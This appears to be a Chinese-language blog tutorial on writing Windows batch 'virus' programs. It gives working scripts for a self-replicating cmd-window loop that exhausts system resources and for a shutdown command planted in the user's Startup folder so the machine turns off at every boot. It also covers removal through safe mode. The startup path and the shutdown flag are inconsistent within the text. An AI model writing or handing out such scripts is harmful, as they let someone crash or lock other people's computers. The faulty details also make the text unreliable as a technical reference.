Windows开机自启目录:
"%USERPROFILE%\AppData\Roaming\Microsoft\windows\StartMenu\Programs\Startup"
基于这个和 start 命令, shutdown 命令, 编写 bat 病毒程序。
无限弹窗
echo start cmd > hack.txt
echo %0 >> hack.txt
ren hack.txt hack.bat
开个虚拟机执行脚本看看
绷不住了,这里失败,只弹窗了一次,把%0放到下一行(追加)
然后直接卡爆了,结果是这样的。并没有一直弹窗,而且叉掉就好了。
但其实并没有好===》
爽了。
那么打开其他程序呢?
场面甚是炸裂,我直接关机,开机就好了。
分析:
经过重定向和追加,hack.bat 的内容为 start cmd %0
start cmd 启动另一个cmd程序(窗口)
%0 表示重新执行脚本
ren -》 rename
以上造成的逻辑死循环开启cmd窗口后继续开启cmd窗口,直到系统资源耗尽。
无限重启
echo shutdown /s /t 0 > hack.bat
copy hack.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start\Menu\Programs\Startup\"
分析:
shutdown /r /t 0 《== /r 表重启 , /t自定义时间;这里即立即重启。改成 /s 关机也可
然后这个 .bat文件(批处理文件)写入开启启动项,实现逻辑上的开机就关机。
解决方法
说实话没解决,不敢在自己电脑试hh。
安全模式下删除文件
win + R => msconfig 进入系统配置
选上安全引导,确定。
重启系统后进入安全模式。
想退出的话,也是上述操作。
注意在安全模式下无法联网,部分软件也无法使用。
重装系统
没装过,也不想装